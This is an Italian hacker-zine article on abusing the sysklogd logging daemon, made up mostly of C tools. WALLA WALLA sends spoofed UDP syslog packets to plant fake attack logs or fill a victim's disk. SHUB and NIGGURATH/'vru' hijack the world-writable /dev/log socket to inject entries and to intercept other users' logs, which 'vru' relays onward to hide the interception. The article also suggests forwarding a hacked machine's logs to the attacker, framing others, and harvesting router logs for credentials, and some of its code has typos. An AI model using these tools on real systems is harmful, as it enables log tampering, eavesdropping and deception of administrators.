==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

---------------------------------[ SYSL0GD ]----------------------------------
--------------------------------[ bELFaghor ]---------------------------------
/*
	*	ATTENZIONE: quanto segue e' scritto a fini informativi,	*
	*	puramente educativi ed eventualmente ludici. L'autore	*
	*	declina ogni responsabilita' per l'uso illecito delle	*
	*	informazioni contenute nel testo.			*
*/

bELFaghor S.D. omnia.
In questo articolo parleremo di come sfruttare alcune caratteristiche insite
nel 'sysklogd package', il piu' usato sistema di logging.
In particolare, quanto segue e' frutto dell'esperienza in ambiente Linux,
ma dato che sfrutteremo inadempienze del codice, quanto segue e' applicabile
in qualsiasi ambiente esso giri.
Tralascero' quanto detto da molti prima di me, anche negli scorsi
numeri di BFi (FuSyS && pIGpEN docent), per arrivare subito al nocciolo
della questione: il syslogd offre un'opzione molto interessante, offre cioe'
la possibilita' di spedire i logs generati localmente ad un host remoto.
Fino alla versione 1.2 del pacchetto questo comportamento era attivo di
default e bastava quindi modificare ad hoc il syslog.conf (man syslog.conf).
Infatti, aggiungendo semplicemente la riga:

*.*			@belf.log.station.myhome.gov

era possibile mandare TUTTI i logs generati dal syslogd alla macchina
belf.log.station.myhome.gov, che li avrebbe passati a sua volta al syslogd
locale, per poi riprocessarli attraverso il syslog.conf locale.
Dalla versione 1.3, invece, questo comportamento e' stato impostato come
opzione, non attiva di default, del syslogd. Ora quindi per attivare questa
funzione e' necessario passare una flag alla riga di comando:
precisamente -r. 'man syslogd' :) mi racco-man-do. Questa flag abilita il
syslogd a ricevere logs da macchine remote; inoltre un'altra flag interessante
e' -h che abilita il forwarding del logs, cosicche' possiamo fare passare i
nostri logs dalla macchina A alla macchina B, la quale li passera' poi alla
macchina C; sempre se abbiamo configurato come si deve i syslog.conf delle
due macchine.
Solitamente il syslogd e' settato per aspettare connessioni alla
porta 514, tramite la quale scambiera' dati attraverso pacchetti UDP.
Ora viene il bello.
Siamo alla versione 1.3-31, rilasciata di recente, e non e' ancora stato
implementato un controllo in grado di stabilire se l'origine da cui
provengono i logs remoti sia trusted! Il syslogd accetta quindi log da
QUALSIASI fonte! E QUALSIASI log!
E allora perche' non scrivere un codice che costruisca un pacchetto
UDP/IP in modalita' RAW che mandi il nostro log fake spoofato? :))
Eccolo :)

---------- snip ----------
/*
        coded while was reflecting on the offspring's concert _GREAT!_ ;)
        WALLA WALLA v0.1 - coded by bELFaghor 02/99
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>

struct udp_pkt {
        struct iphdr    ip;
        struct udphdr   udp;
        char data[1024];         /* to change if you change data content */
} pkt;

u_long host2ip(char *hostname) {
        u_long ipb;
        struct hostent *hp;

        if((hp = gethostbyname(hostname)) < 0) {
                perror("gethostbyname");
                exit(1);
                }
        memcpy(&ipb, hp->h_addr, hp->h_length);
        return(ipb);
}

void main(int argc, char *argv[])
{
        int     socka,
                src_port = 666,         /* evil port */
                dst_port = 514,
                len;

        struct sockaddr_in to;

        u_long src_addr, dst_addr;

        if(argc != 3) {
                printf("WALLA WALLA v0.1 - bELFaghor\n"
                        "Usage:\n\t%s <spoofaddr> <destaddr>.\n", argv[0]);
                exit(1);
                }

        if((socka = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("socket");
                exit(1);
                }

        src_addr = host2ip(argv[1]);
        dst_addr = host2ip(argv[2]);

	/* data content */
        strcpy (pkt.data,  "<6>fake log: WALLA WALLA v0.1 by bELFaghor");
        len = strlen(pkt.data);

        memset(&pkt, 0, (sizeof(struct iphdr) + sizeof(struct udphdr)));
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + leen);
        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
        pkt.ip.saddr = src_addr;
        pkt.ip.daddr = dst_addr;

        pkt.udp.source = htons(src_port);
        pkt.udp.dest = htons(dst_port);
        pkt.udp.len = htons(sizeof(struct udphdr) + len);

        to.sin_family = AF_INET;
        to.sin_port = src_port;
        to.sin_addr.s_addr = dst_addr;

        if(connect(socka, (struct sockaddr *) &to, sizeof(struct sockaddr)) < 0) {
		perror("connect");
		exit(2);
		}

        if(sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr)) < 0) {
		perror("sendto");
		exit(3);
		}

        close(socka);
        printf("done.\n");

}
---------- snip ----------

Il nostro codice si limita a mandare la stringa data[1024] da un indirizzo
spoofed (argv[1]) all'indirizzo vittima (argv[2]). Ora alcuni piccoli 
accorgimenti sul codice, che e' SOLO un esempio dell'implementazione:
se cambiate la stringa da copiare in data[], ricordatevi di aggiornare
l'array data[], o di farne un puntatore ed aggiornare anche il resto
del codice, altrimenti rischiate un bel core dump :) Inoltre se
volete mandare diversi log, ma che siano CONTIGUI nella loro visualizzazione
sulla macchina della vittima, anziche' usare piu' volte il codice, sarebbe
meglio aggiungere un bel ciclo for(), altrimenti rischiate che i vostri
fake log siano interrotti da altri logs della macchina. Una cosa del tipo:

        printf("sending fake portscan logs...: \n");
        for(k=0; k < 1024; k++) {
        memset(pkt.data, '\0', 1024);
   sprintf(pkt.data, "tcplog: port %i connection attempt from %s", i, argv[1]);
        sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr));
        printf("."); fflush(stdout);
        }

Inoltre, se volete che il log che mandate sembri generato localmente dalla
macchina dovete settare come IP sorgente lo stesso IP della vittima
(argv[0] == argv[1]).
Ultima e piu' importante cosa e' quel numerino '<6>' in data[]... 
Che sara' mai? Il syslogd divide i suoi logs secondo certi criteria,
che vengono utilizzati anche nella configurazione del syslog.conf ,
e che servono a una gestione dei log ottimale. Ecco i criteria :)
Definiti in syslog.h:

	#define LOG_EMERG       0       /* system is unusable */
	#define LOG_ALERT       1       /* action must be taken immediately */
	#define LOG_CRIT        2       /* critical conditions */
	#define LOG_ERR         3       /* error conditions */
	#define LOG_WARNING     4       /* warning conditions */
	#define LOG_NOTICE      5       /* normal but significant condition */
	#define LOG_INFO        6       /* informational */
	#define LOG_DEBUG       7       /* debug-level messages */

Noi abbiamo utilizzato <6>, LOG_INFO, solo perche' e' uno dei piu' utilizzati,
ma altrettanto bene andava <4> LOG_WARNING (LOG_INFO e LOG_WARNING sono i
due maggiormente utilizzati, vedi IPLogger, Jail, IPlog e altri tools simili).
Se volete fare una cosa sveglia, omettetelo! :)
I logs andranno diretti nei file specificati da *.notice, *.info e *.debug :)
Ad ogni modo, a voi la scelta :)
Una scelta importante dato che, nel caso in cui l'admin non loggasse tutti i
dati remoti ricevuti, se gli procurassimo un log che poi non verrebbe scritto
da nessuna parte, saremmo fuori strada, non e' il nostro obiettivo.
In linea di massima comunque LOG_NOTICE/LOG_WARNING sono ok.
Se pero' gli mandate un log "kernel fault" vedete di cambiare la flag :)))
E ancora meglio, se sapete che logger utilizza in parallelo con il syslogd,
procuratevi il sorgente e guardate che flag utilizza, cosi' andate
sul sicuro :)
Questo mi sembra sufficiente come spiegazione :)

Ora veniamo al perche' di questo codice :) Un'implementazione simile era
gia' stata presentata da Hobbit nel README del suo Netcat (e ricordata
da FuSyS in BFi2), MA non ci viene ricordato che possiamo mandare
QUALSIASI "log" alla nostra vittima.
Possiamo cioe' sostituire la nostra data[] con un "go fuck your god bullshit"
e far giungere il pacchetto da belf.rules.in.his.house.gov :) Bello no? Ahah.
Allo stesso modo possiamo servirci di questo codice per svariati motivi;
vi presento i due piu' palesi, poi largo alla fantasia o meglio,
all'intelletto :)
Nulla di piu' bello che mandare dei logs verosimili di un attacco proveniente
da un belf.gov o belf.mil :) o anche sommergere il mal capitato di simulazione
di attacchi da un centinaio di indirizzi diversi (modificando ad hoc il codice
o affiancandogli un semplice bash script). Allo stesso modo si potrebbero
mandare logs di errori sconosciuti o improbabili come un "kernel dead" e poi
far schiantare la macchina, o anche analogamente un log del tipo "flooding
from belf.is.a.cop.gov..." e poi far affondare la shell. In questo caso o in
casi simili, ricordatevi di settare come spoofed address lo stesso indirizzo
che avete assegnato dest address, cosicche' sembri un log locale e non
proveniente da un'altra macchina, a meno che non floodiate poi l'altra
macchina ;)
Ecco una semplice implentazione d'esempio basata sul codice precedente:

---------- snip ----------
/*
        WALLA WALLA v0.2 learning edition - bELFaghor 02/99
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>

#define EVIL_HOST "belf.son.io.gov"	/* this is a fake address, your address
						must be real! change it */

struct udp_pkt {
        struct iphdr    ip;
        struct udphdr   udp;
        char data[1024];        /* to change if you change data content */
} pkt;

u_long host2ip(char *hostname) {
        u_long ipb;
        struct hostent *hp;

        if((hp = gethostbyname(hostname)) < 0) {
                perror("gethostbyname");
                exit(1);
                }
        memcpy(&ipb, hp->h_addr, hp->h_length);
        return(ipb);
}

void main(int argc, char *argv[])
{
        int     socka,
                src_port = 666,         /* evil port */
                dst_port = 514,
                i,
                len;

        register int k;

        struct sockaddr_in to;

        u_long src_addr, dst_addr;


        if(argc != 3) {
                printf("WALLA WALLA v0.2 learning edition - coded by bELFaghor\n"                        
			"Usage:\n\t%s <spoofaddr> <destaddr>.\n", argv[0]);
                exit(1);
                }

        if((socka = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("socket");
                exit(1);
                }

        src_addr = host2ip(argv[1]);
        dst_addr = host2ip(argv[2]);

        len = 1024;

        memset(&pkt, 0, (sizeof(struct iphdr) + sizeof(struct udphdr)));
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + le        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
        pkt.ip.saddr = src_addr;
        pkt.ip.daddr = dst_addr;

        pkt.udp.source = htons(src_port);
        pkt.udp.dest = htons(dst_port);
        pkt.udp.len = htons(sizeof(struct udphdr) + len);

        to.sin_family = AF_INET;
        to.sin_port = src_port;
        to.sin_addr.s_addr = dst_addr;

        connect(socka, (struct sockaddr *) &to, sizeof(struct sockaddr));

        printf("sending fake portscan logs...: \n");
        for(k=0; k < 8; k++) {
        memset(pkt.data, '\0', 1024);
        i = 1+(int) (1024.0*rand()/(RAND_MAX+1.0));
        sprintf(pkt.data, "tcplog: port %i connection attempt from %s", i, EVIL_HOST);        
	sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("."); fflush(stdout);
        sleep(1+(int) (2.0*rand()/(RAND_MAX+1.0)));
        }

        printf("sleeping..."); fflush(stdout);

        sleep(25);
        printf("\nsending fake based telnet attack logs...: \n");
        memset(pkt.data, '\0', 1024);
        sprintf(pkt.data, "tcplog: telnet connection attempt from %s", EVIL_HOST);
	sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("...-*-"); fflush(stdout);


        memset(pkt.data, '\0', 1024);
        sprintf(pkt.data, "in.telnetd[782]: connect from %s", EVIL_HOST);
        sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("...-*-"); fflush(stdout);

        printf("sleeping..."); fflush(stdout);


        sleep(25);
        printf("\nsending fake unknown log...: \n");
        for(k=0; k < 10; k++) {
        memset(pkt.data, '\0', 1024);
        sprintf(pkt.data, "tcplog: receiving unknown packet from %s", EVIL_HOST);
        sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("."); fflush(stdout);

        sleep(1+(int) (3.0*rand()/(RAND_MAX+1.0)));
        }

        printf("sleeping..."); fflush(stdout);


        sleep(10);
        printf("\nsending final k.o. unknown log...: \n");
        memset(pkt.data, '\0', 1024);
        strcpy(pkt.data, "system alert");
        sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("...-*-"); fflush(stdout);


        memset(pkt.data, '\0', 1024);
        strcpy(pkt.data, "WARNING: core dump, system failed");
        sendto(socka, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,sizeof(struct sockaddr));
        printf("...-*-"); fflush(stdout);


        close(socka);
        printf("\ndone.\n");

}
---------- snip ----------

L'altro claro utilizzo del codice protrebbe essere quello di un semplice
"DoS" del syslogd o semplicemente un "DoS" della lettura dei
logs o magari anche della macchina. Possiamo infatti mettere nel cron il
nostro processo e mandare log di 1000 caratteri alla volta da indirizzi
surreali :) e riempire i log della nostra vittima di 'a', cosi' da riempire
di conseguenza l'hd che, se di esigue dimensioni potrebbe anche esaurire
la sua capienza, con ovvie conseguenze.
Guardate qua:

	Aggiungiamo *.* /var/log/dos in syslog.conf e HUPpiamo il syslogd,
	il quale crea il file e ci inserisce come prima entry  
	'syslogd 1.3-3: restart'.

   1 -rw-------   1 root     users          67 Feb  9 00:21 /var/log/dos

	Ora settiamo l'array data a 1024 (data[1024]), cambiamo la strcpy()
	in una memset(pkt.data, 'a', 1024) e mettiamo la sendto in un loop
 	for che ripetera' per 1024 volte, quindi lanciamolo...
	Dopo pochi secondi di esecuzione, torniamo a vedere il nostro file...

  58 -rw-------   1 root     users       58312 Feb  9 00:21 /var/log/dos

	Non male direi :) se poi lo pensiamo fatto da una t1 se non
	addirittura una t3 :))) ehheh

In questo modo possiamo inserire nel mezzo dei nostri attacchi simulati
quel che fake di log volete :))) ad esempio, un nostro bell'attacco da
shell, cosi' che se la nostra vittima decidera' di scrivere a tutti gli
admin del centinaio di simulazioni di attacco, tutte quante, forse esclusa
la vostra dalla quale hacckate, gli comunicheranno che e' un pazzo.
E con una piccola dose di culo e l'inesperienza del mal capitato potrebbe
non accaddervi nulla ehehe :)

Se poi siete a conoscenza che i logs della macchina A arrivano alla
macchina B tramite appunto il syslogd... allora potete impersonare la
macchina A (spoof addr) e mandare dei fake log (di quello che volete) alla
macchina B, cosi' che l'admin impazzira' a capire perche' ci sono i log
sulla macchina B e non sulla macchina A, e potrebbe giungere a conclusione
che gli hanno bucato le macchine... Potrebbe essere una piccola e crudele
vendetta contro qualcuno eheh. Queste implentazioni le vedrei molto utili
al sysadm che sta per essere licenziato: sistema il syslogd e poi fa impazzire
il nuovo sysadm :)

Un'altra bellissima cosa che potrebbe servire a scopi malefici e' sapere
che anche i CISCO offrono questo servizio e cioe' possono essere configurati
per mandare a una qualche macchina remota, dove giri il syslogd opportunamente
configurato, i loro log. Quindi se sapete che alla macchina X arrivano
anche i logs del suo router CISCO, volete non fakkargli qualche log? Ahahah...
E SOPRATTUTTO non volete vedere i PREZIOSISSIMI log del router? :))
I CISCO utilizzano tutti i livelli di logging; il livello dei log generati
dipendera' allora dai log che il router intende mandare al syslogd remoto e
da quelli che il syslogd remoto e' configurato per accettare. Fakkare log
dei CISCO e' comunque un'ardua impresa poiche' entrano in gioco molte
variabili come appunto la 'sincronizzazione' dei log, il timestamp, il source
address dell'interfaccia etc etc... Meglio quindi riceverli piuttosto che
fakkarli :) ... molto piu' maleficamente produttivo :) ...
Ma che ne dite degli Ascend? :) Anche loro offrono lo stesso servizio...
Ad esempio i bei log che mandano gli Ascend possono contenere preziosissime
informazioni come:

	. il numero di telefono del chiamante *qualcuno ci rompe le
	  palle su irc? Il suo provider sara' il nostro obiettivo :)*
	. il numero chiamato *poco ci interessa :)* 
	. informazioni sul suo acconto *ovvero le authentication info*
	. bytes/packet trasmessi/ricevuti *bazzecole :)*
	. la destinazione delle sue sessioni nel net *forse :))*
	. altro *generalmente meno interessante*

Solitamente questi logs, che possono arrivare anche a piu' hosts remoti,
arrivano GENERALMENTE con livello LOG_INFO.

Ma ora vediamo anche un piccolo corollario molto interessante che ora
presento a livello teorico e spero di poter provare a livello pratico
prima della consegna l'articolo. (se leggete queste righe, vuol dire che
e' rimasto tutto a livello teorico :( ma dovrebbe funzionare! eheh).

Obiettivo: vogliamo ricevere i logs della macchina A, per qualche oscuro
motivo eheh :) e scoprire magari qualche pass di un utente sbadato eheh,
possibilmente non gli ultimi Linux perche' ci sbattono un bel UNKNOW di cui
non ce ne importa na cippa...

E cosi' siamo venuti a conoscenza che la macchina A manda i suoi logs alla
macchina B. Nulla di piu' facile che cercare d'impersonare
((DoS + spoofing || DoS + masquerading) docent) la macchina B, configurare
ad hoc il nostro syslogd e ricevere belli belli i logs di A :) eheh.
Chissa' che non riusciamo a recuperare qualche acconto o qualche informazione
utile (ricordatevi l'articolo di FuSyS sull'IP spoofing in BFi4, e non solo
il suo :)
Il tutto riesce molto bene da locale in una LAN: spegnete la macchina del
vostro collega, impossesatevi del suo IP, configurate il tutto ad hoc e
ricevete i logs beati :) Se poi siete svegli e configurate anche dell'altro,
riceverete anche dell'altro eheheh.
  
Ricordatevi che e' sempre meglio provare tutto sulle proprie macchine
prima di scazzare qualcosa e finire nei pasticci :)

Ora passiamo a qualcos'altro di davvero interessante sempre riguardo
il syslogd, ma questa volta a livello LOCALE... Se diamo, infatti, una
sbirciatina al codice notiamo che il syslogd utilizza una socket file
- /dev/log - per scambiare parte dei log...

syslog.c:#define        _PATH_LOGNAME   "/dev/log"
	strncpy(SyslogAddr.sa_data, _PATH_LOGNAME,sizeof(SyslogAddr.sa_data));

sa_data e' definito nella struct sockaddr_un ed e' il path passato per
aprire la socket utilizzando il protocollo AF_UNIX. Se andiamo a vedere
il nostro bel file di log con un 'ls -asl' noteremo che e' +rw per chiunque!

   0 srw-rw-rw-   1 root     root            0 Feb  6 01:12 /dev/log

Fortunazza :) Cio' vuol dire che possiamo leggere e scrivere dati che
passano per il syslogd; e precisamente scrivere quello che vogliamo nei file
di log e leggere quei log che si avvalgono della socket /dev/log !
Molto interessante direi! Soprattutto in un sistema con 1000 - 2000 utenti
da cui possiamo ricavare informazioni preziose, ma anche informazioni
utili per altri scopi non prettamente relativi ad un hack 4 phun :)
Non dimentichiamoci poi che possiamo mandargli qualsiasi scritta/logs
con un qualsiasi utente!! Ora vediamo un po' come implementare il tutto...
Direi che possiamo scomporre il tutto in due codici... uno che scrive...
l'altro che legge...

E fu cosi' che nacque Shub-Niggurath, antica divinita' malvagia dedita a riti
innominabili: Il Nero Capro dai Mille Cuccioli. /* H.P. Lovecraft */

Ok. Partiamo con SHUB, colui che scrive:

---------- snip ----------
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <alloca.h>
#include <fcntl.h>
#include <string.h>

#define EVIL_PATH "/dev/log"

void main(int argc, char *argv[])
{
        struct sockaddr_un sunx;
        int s, fd;

        strcpy(data, "fuck off bullshit");     

        memset(&sunx, 0, sizeof(struct sockaddr_un));
        sunx.sun_family = AF_UNIX;
        strncpy(sunx.sun_path, EVIL_PATH, strlen(EVIL_PATH));
        if((s = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
                        perror("socket");
                        exit(1);
                        }

        if((connect(s, (struct sockaddr *) &sunx, sizeof(sunx))) < 0) {
                        perror("connect");
                        exit(1);
                        }

        if((write(s, data, sizeof(data))) < 0) {
                perror("write");
                exit(1);
                }

        close(s);
        printf("complete.\n");

}
---------- snip ----------

Nulla di piu' semplice :) il codice mi sembra abbastanza chiaro...
Per maggiori informazioni sulla struct sockaddr_un guardatevi
/usr/include/un.h ...ma non ci dovrebbero essere difficolta'...

Ed ora NIGGURATH, colui che ascolta:

---------- snip ----------
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <alloca.h>
#include <fcntl.h>
#include <string.h>

#define EVIL_PATH "/dev/log"

void main(int argc, char *argv[])
{
        struct sockaddr_un sunx;
        char buf[4096];
        int s, ns, len;

        unlink(EVIL_PATH);

        memset(&sunx, 0, sizeof(struct sockaddr_un));
        sunx.sun_family = AF_UNIX;
        strncpy(sunx.sun_path, EVIL_PATH, strlen(EVIL_PATH));
        if((s = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
                        perror("socket");
                        exit(1);
                        }

       if (bind(s, (struct sockaddr *) &sunx, sizeof(sunx)) < 0) {
                        perror("bind");
                        exit(1);
                        }

        chmod(EVIL_PATH, 0666);

        if (listen(s, 5) < 0) {
                        perror("listen");
                        exit(1);
                        }
        len = sizeof(struct sockaddr_un);

        for(;;) {

        if((ns = accept(s, (struct sockaddr *) &sunx, &len)) < 0) {
                        perror("accept");
                        exit(1);
                        }

        if((read(ns, buf, sizeof(buf))) < 0) {
                perror("read");
                exit(1);
                }

        printf("data:\n%s\n", buf);

        close(ns);

        }
        close(s);
        printf("complete.\n");
}
---------- snip ----------

Mmm... ora abbiamo una piccola complicazione... l'unlink()...
Ebbene si'. Prima di bindare il file, dobbiamo rimuoverlo... e cosi'
blocchiamo il syslogd che rimane fermo, inerte, fino a che non sara'
riavviato... noi non potremo farlo, dato che non siamo ancora root :(
e solo in certe condizioni potremo mascherare il fatto agli occhi del root...
Intanto speriamo di trovare qualche informazione utile: spesso e volentieri
su sistemi con molti utenti, diversi utenti hanno uid == 0 :)) 
Ora vediamo come cercare di aggirare il problema. Prima ricapitoliamo quello
che e' successo...

	. situazione vergine:

	LOG --> SOCKET (/dev/log) --> SYSLOGD --> OUTPUT (vedi syslog.conf)

	. situazione dopo la nostra incursione:
	
	LOG --> SOCKET (/dev/log) --> NOSTRO AUDIT --> OUTPUT (stdout)

I log non arrivano piu' quindi all'output a cui il root li aveva destinati,
comportando un motivo di preoccupazione per un admin minimamente sveglio
e degno di tale definizione. Non ci siamo, non va bene. Vediamo di trovare
una soluzione al fattaccio, cosa che e' possibile SOLO in una condizione,
ovvero: il syslogd DEVE accettare log remoti. In tale condizione potremo
quindi fare come segue:

	LOG --> SOCKET (/dev/log) --> NOSTRO AUDIT ----> OUTPUT (stdout)
					   |
                    			   |  
                                      	   ----> SENDTO 514 					

Vediamo di spiegare: per prima cosa, come abbiamo detto, il syslogd deve
poter accettare log remoti e quindi o la release e' < 1.3 oppure la flag -r
e' attivata.
Quindi se ci sono queste condizioni possiamo rimediare all'incoveniente. I log
arriveranno, infatti, al nostro audit - NIGGURATH - il quale ci fara' vedere
tale log e poi lo mandera' alla 514 del localhost con un pacchetto UDP.
Cosi' facendo, la presenza del nostro audit sara' 'mascherata' e il syslogd
ricevera' comunque i log. Siamo a posto :) Ora vediamo come potrebbe essere
il codice modificato ad hoc:

---------- snip ----------
/* vru vru vruk coded by bELFaghor */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <alloca.h>
#include <fcntl.h>
#include <string.h>

#define EVIL_PATH "/dev/log"

struct udp_pkt {
        struct iphdr    ip;
        struct udphdr   udp;
        char data[1024];        /* to change if you change data content */
} pkt;

u_long host2ip(char *hostname) {
        u_long ipb;
        struct hostent *hp;

        if((hp = gethostbyname(hostname)) < 0) {
                perror("gethostbyname");
                exit(1);
                }
        memcpy(&ipb, hp->h_addr, hp->h_length);
        return(ipb);
}

void main(int argc, char *argv[])
{
        struct sockaddr_un sunx;
        char buf[1024];
        int s, ns, s2, len, srcport, dstport, len2;
        struct sockaddr_in to;
        u_long srcaddr, dstaddr;


                if(argc != 2) {
                printf("vru vru vruk by belf v0.1\nsyntax:\t%s <hostname>\n", argv[0]);
                exit(1);
                }

        unlink(EVIL_PATH);

        memset(&sunx, 0, sizeof(struct sockaddr_un));
        sunx.sun_family = AF_UNIX;
        strncpy(sunx.sun_path, EVIL_PATH, strlen(EVIL_PATH));
        if((s = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
                        perror("socket");
                        exit(1);
                        }

        if((s2 = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("socket");
                exit(1);
                }

        srcaddr = host2ip(argv[1]);
        dstaddr = host2ip("localhost");
        dstport = 514;
        srcport = 666; /* 1+(int) (1024.0*rand()/(RAND_MAX+1.0)); */
        len2 = sizeof(pkt.data);

        memset(&pkt, 0, (sizeof(struct iphdr) + sizeof(struct udphdr)));
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + len2);        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
        pkt.ip.saddr = srcaddr;
        pkt.ip.daddr = dstaddr;

        pkt.udp.source = htons(srcport);
        pkt.udp.dest = htons(dstport);
        pkt.udp.len = htons(sizeof(struct udphdr) + len2);

        to.sin_family = AF_INET;
        to.sin_port = srcport;
        to.sin_addr.s_addr = dstaddr;

        if((connect(s2, (struct sockaddr *) &to, sizeof(struct sockaddr))) < 0)
                        perror("connect");
                        exit(1);
                        }

       if (bind(s, (struct sockaddr *) &sunx, sizeof(sunx)) < 0) {
                        perror("bind");
                        exit(1);
                        }

        chmod(EVIL_PATH, 0666);

        if (listen(s, 5) < 0) {
                        perror("listen");
                        exit(1);
                        }
        len = sizeof(struct sockaddr_un);

        for(;;) {

        if((ns = accept(s, (struct sockaddr *) &sunx, &len)) < 0) {
                        perror("accept");
                        exit(1);
                        }

        if((read(ns, buf, sizeof(buf))) < 0) {
                perror("read");
                exit(1);
                }

        printf("%s\n", buf);

        strncpy(pkt.data, buf, sizeof(buf));

        if((sendto(s2, &pkt, sizeof(pkt), 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr))) < 0) {
                        perror("sendto");
                        exit(1);
                        }

        close(ns);
        }
        close(s2);
        close(s);
        printf("complete.\n");
}
---------- snip ----------

Ok. Ora siamo con la coscienza a posto :) Ci basta lanciare il nostro piccolo
prg con un bel "./vru `hostname`" e avremo i log sia per noi che per il
syslogd. :)

Un'altra bella cosa che ci fa avere la coscienza a posto, questa volta senza
sudare neanche un po' :), e' il famosissimo "-- MARK --" implementato una
fredda mattina del Febbraio scorso dal nostro carissimo Martin Schulze:
viene, infatti, scritto direttamente :) (sempre che il syslogd sia attivo :P)
ricordatevi - come anche la parola inglese suggerisce :) - che e' un segno,
che se venisse a mancare, potrebbe essere segnale di un'anomalia.

Un'altra piccola cosa che possiamo fare a livello locale con il syslogd e'
leggere tutti i log generati dalla macchina hacked tranquillamente sulla
nostra macchina, senza scomodare la sessione telnet o ftp (con conseguenziali
log utmp/wtmp/etcetc :) ... Ci basta far girare sulla nostra macchina unix il
syslogd in modalita' 'accept remote messages' (flag -r) e aggiungere un'entry
sulla macchina hacked del tipo:

*.*		@mio.ip.son.mil

e riceveremo tutti i logs di quella macchina senza scomodare nessuno :)
Ricordatevi pero' di togliere l'entry una volta finito l'hack :))

Ora facciamo i buonini, diamo anche una SEMPLICE soluzione al problema,
senza andare a toccare il codice e risolvendo pero' solo in parte il dramma :)
Come dice anche la man del syslogd, possiamo limitare gli accessi alla 514
attraverso un firewall:

       1.     Implement  kernel  firewalling to limit which hosts
              or networks have access to the 514/UDP socket.

Altrimenti bisognerebbe intervenire a livello di codice per implentare
un'autenticazione host-to-host or something like that.

E diamo anche una patch per il problema della socket, 
da considerarsi TEMPORANEA, dato che non sono sicuro della sua completa
operativita'. Possiamo, infatti, fare un 'chmod +t /dev', in modo da settare
lo 'sticky bit' e risolvere il problema.
Ripeto pero' che non so quali effetti collaterali possa avere, in termini
di accesso da parte di terzi.

Ci vediamo con il syslogd trojan :)

ave atque vale.

/*
	*	THANKS TO:						      *
	*	Hobbit for idea about udp packet to 514       		      *
	*       FuSyS for idea about vru prg				      *
	*	|TSuNaMi| for tha moral support		 		      *
	*	PhoenYx QuetzaCoatl for my joke :) testing walla walla codez  *
	*								      *
	*	GREETINGS TO:						      *
	*	pIGpEN the misanthropic spirit of s0ftpj, FUCK THA RULEZ      *
	*	gambino and SMaster those of the unlight		      *
*/

			.bELFaghor VampErotic Daem0n.
			(kisses flooding to my whore)


--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================